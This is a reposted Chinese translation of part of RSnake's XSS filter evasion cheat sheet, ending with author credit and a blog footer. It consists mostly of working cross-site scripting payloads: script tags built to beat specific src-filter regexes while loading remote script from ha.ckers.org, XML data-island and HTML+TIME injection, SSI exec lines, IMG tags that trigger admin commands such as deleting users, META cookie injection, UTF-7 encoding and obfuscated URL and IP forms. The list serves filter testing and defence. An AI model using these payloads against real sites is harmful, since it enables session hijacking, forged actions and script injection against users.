  1. a="get";
  2. b="URL(\"";
  3. c="javascript:";
  4. d="alert('XSS');\")";
  5. eval(a+b+c+d);

CDATA混淆的 XML數據島

這個xss向量儘可以在IE 和使用了ie渲染引擎的 Netscape 8.1 下工作。它是 Sec Consult在審計雅虎時發現。

  1. <XML SRC="xsstest.xml" ID=I></XML>
  2. <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

使用XML數據島生成含有javascript代碼的當前域xml文件

它是相同的同上面僅僅代替XML文件爲當前域文件。你可以看到結果在下面。


HTML+TIME 在XML中

它展示的 Grey Magic 是怎樣攻擊 Hotmail 和 Yahoo!的。它是僅僅可以工作在ie和使用了ie渲染引擎的Netscape 8.1。並且這段代碼需要放在html域body標籤之間。

  1. <HTML><BODY>
  2. <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
  3. <?import namespace="t" implementation="#default#time2">
  4. <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
  5. </BODY></HTML>

簡單的修改字符去繞過過濾器對 ".js"的過濾

你可以重命名你的javascript文件爲一個圖片作爲xss向量

<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>

SSI (服務器端包含)

這需要SSI被安裝在服務器端去使用這個xss向量。但可能我並不需要提及這點,因爲如果你可以運行命令在服務器端,那麼毫無異味會有更加嚴重的問題存在。

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->

PHP

需要php被安裝在服務器端去使用這個xss向量。同樣的,如果你可以運行恩任何遠程腳本,那麼將會有更加嚴重的問題。

  1. <? echo('<SCR)';
  2. echo('IPT>alert("XSS")</SCRIPT>'); ?>

嵌入命令的IMG

它是工作於那些需要用戶認證後纔可以執行命令的當前域頁面。它將可以創建刪除用戶(如果訪問者是管理員),或是寄送某些憑證等等,雖然他是較少被使用但是是非常有用的。

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

嵌入命令的IMG II

這是更加的可怕因爲並沒有特別的標識符去使它看起開來可疑。除非不允許引入第三方域的圖片。這個向量是使用一個 302 or 304(或其他可行方案)去重定向一個圖片地址爲帶有某些命令的地址。因此一個正常的圖片標籤代碼<IMG SRC="a.jpg">可以是帶有命令的xss向量。但是用戶看到的僅僅是正常的圖片鏈接地址。下面是一個.htaccess(apche下)配置文件去完成這個向量。(感謝Timo爲這部分。)

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

Cookie篡改

這是公認的不着邊際,但是我已經發下一個例子是用 <META 去覆蓋cookie。另一個例子是有些網站使用cookie中的某些數據去呈現在當前訪問者的網頁中爲僅僅他自己而不是從遠程數據庫中獲取。當這兩個清靜聯繫在一起的時候,你可以通過修改cookie讓javascript輸入到用戶頁面中。(你可以藉此讓用戶退出,改變用戶的狀態,甚至讓用戶以你的身份登錄)

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

UTF-7編碼

如果存在xss的頁面沒有提供頁面charset header,或是對於任何被設爲UTF-7 的瀏覽器,我們可以利用下面的代碼。(感謝Roman Ivanov 的提供),點擊這兒爲這個例子。(如果頁面設置是自動識別編碼且content-types 沒有被覆蓋,在ie瀏覽器或使用了IE渲染引擎的 Netscape 8.1,咋你不需要聲明 charset )在沒有改變編碼的情況下它是不能工作在任何現代瀏覽器,這是爲什麼它被標記爲完全不支持。Watchfire發現這個漏洞在Google's 自定義 404 腳本中.

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

使用HTML 引用封裝的xss

他是被測試在ie,具體因情況而異。它是爲了繞過那些可以輸入 "<SCRIPT>" 但不允許輸入 "<SCRIPT SRC...",通過正則"/<script[^>]+src/i"進行過濾的xss過濾區。

  1. <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js">

爲了執行xss代碼在那些允許輸入"<SCRIPT>" 但不允許 "<script src..."靠正則拼配"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i" (這個是重要的,因爲我已經看到這個正則在實際環境中。)

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

另一個逃避相同正則 "/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"的xss代碼

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

這是另一個xss例子去繞過相同的過濾器,關於"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"的正則過濾。我知道,我說過我將不會去痛痛快快的聊減災技術。但是這是我所看到的唯一例子在允許用戶輸入<SCRIPT>但是不允許通過src加在遠程腳本的過濾這個xss的可用方法。(當然,還有一些其他方法去處理它,如果它們允許<SCRIPT> )

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

最後一個繞過"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"正則匹配的例子,通過重音符。(再以無法工作在firfox)

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

這個xss例子押注域哪些正則並不去拼配一對引號,而是去發現任何引號後就立即結束參數字符串。

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

這xss仍然讓我擔心,因爲他是幾乎沒有肯呢過去停止在沒有阻止活動內容的情況下。

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

URL 字符串繞過

這裏假設 "http://www.google.com/" 這種在語法上是不被允許的。

IP代替域名

<A HREF="http://66.102.7.147/">XSS</A>

URL 編碼

  1. <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

雙字節編碼 (注意:有其他的雙字節編碼變種。請參考下面混淆後的ip爲更多信息)

<A HREF="http://1113982867/">XSS</A>

十六進制編碼 The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit,因爲十六進制數實在0-f之間,因此第三位開頭的0可以被省略掉。

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

八進制編碼 Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

混合編碼 讓我們混合基本編碼並且插入一個tab和換行符。爲什麼瀏覽器允許這樣,我是不知道。但是它是可以工作當它們被包含在引號之間。

  1. <A HREF="h
  2. tt p://6 6.000146.0x7.147/">XSS</A>

協議繞過 “//”代替“http:// ” 可以節省更多字符。這是非常有用的當輸入空間是有限的時候。兩個字符可能解決大問題。也是容易繞過像"(ht|f)tp(s)?://" 這樣的正則過濾。(感謝 Ozh 提出這部分)。你也可以改變//" 爲 "\"。你需要保持斜槓在適當的地方。否則可能會被當作一個相對路徑的url。

<A HREF="//www.google.com/">XSS</A>

Google "feeling lucky" I Firefox 使用 Google的"feeling lucky" 函數去重定向用戶輸入的任何關鍵字。因此你可以在可利用頁面使用任何關鍵字針對任何Firefox用戶。它是使用了"keyword:" 協議。你可以使用多個關鍵字像下面的例子:XSS+RSnake。它是無法使用在 Firefox as of 2.0。

<A HREF="//google">XSS</A>

Google "feeling lucky" II 這是使用一個小技巧讓他工作在Firefox,因爲只有它實現了 "feeling lucky" 函數。不像下一個例子,它是無法工作在 Opera ,由於 Opera認爲它是一種老的釣魚攻擊。它是一個簡單的畸形url。如果你點擊彈出框的確定按鈕它將工作。但是由於這是一個錯誤對話框,我是說Opera是不支持它。它也不再被支持在 Firefox 2.0。

<A HREF="http://ha.ckers.org@google">XSS</A>

Google "feeling lucky" III 它是通過畸形url來工作在Firefox 和 Opera瀏覽器。因爲只有他們實現了 "feeling lucky" 函數。像上面的例子一樣,它們需要你的網站在谷歌搜索中排名第一。(例如google)

<A HREF="http://google:ha.ckers.org">XSS</A>

移除別名 結合上面的url。移除 "www." 將節省四個字符。

<A HREF="http://google.com/">XSS</A>

絕對 DNS用額外的點

<A HREF="http://www.google.com./">XSS</A>

JavaScript link location

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

針對內容替換的攻擊向量 假設 "http://www.google.com/" 會被替換爲空。我確實使用了一個簡單的攻擊向量去針對特殊文字過濾依靠過濾器本身。這是一個例子去幫助創建向量。(IE: "java script:" 被替換爲"java script:", 它是仍可以工作在 IE,使用安全模塊的 Netscape 8.1+ 和 Opera)

<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>

字符編碼表

再付 "<" 在html或是javascript中所有可能的編碼形式。它們絕大多數是無法正常渲染的,但是可以在上文中某些情景下得到渲染。

  1. <
  2. %3C
  3. &lt
  4. &lt;
  5. &LT
  6. &LT;
  7. &#60
  8. &#060
  9. &#0060
  10. &#00060
  11. &#000060
  12. &#0000060
  13. &#60;
  14. &#060;
  15. &#0060;
  16. &#00060;
  17. &#000060;
  18. &#0000060;
  19. &#x3c
  20. &#x03c
  21. &#x003c
  22. &#x0003c
  23. &#x00003c
  24. &#x000003c
  25. &#x3c;
  26. &#x03c;
  27. &#x003c;
  28. &#x0003c;
  29. &#x00003c;
  30. &#x000003c;
  31. &#X3c
  32. &#X03c
  33. &#X003c
  34. &#X0003c
  35. &#X00003c
  36. &#X000003c
  37. &#X3c;
  38. &#X03c;
  39. &#X003c;
  40. &#X0003c;
  41. &#X00003c;
  42. &#X000003c;
  43. &#x3C
  44. &#x03C
  45. &#x003C
  46. &#x0003C
  47. &#x00003C
  48. &#x000003C
  49. &#x3C;
  50. &#x03C;
  51. &#x003C;
  52. &#x0003C;
  53. &#x00003C;
  54. &#x000003C;
  55. &#X3C
  56. &#X03C
  57. &#X003C
  58. &#X0003C
  59. &#X00003C
  60. &#X000003C
  61. &#X3C;
  62. &#X03C;
  63. &#X003C;
  64. &#X0003C;
  65. &#X00003C;
  66. &#X000003C;
  67. \x3c
  68. \x3C
  69. \u003c
  70. \u003C

字符編碼和ip混淆器

下面地址中包含了在xss有用的各種基本轉換器。 http://ha.ckers.org/xsscalc.html


作者和主編

Robert "RSnake" Hansen

轉載於:https://www.cnblogs.com/nuomin/p/7844738.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章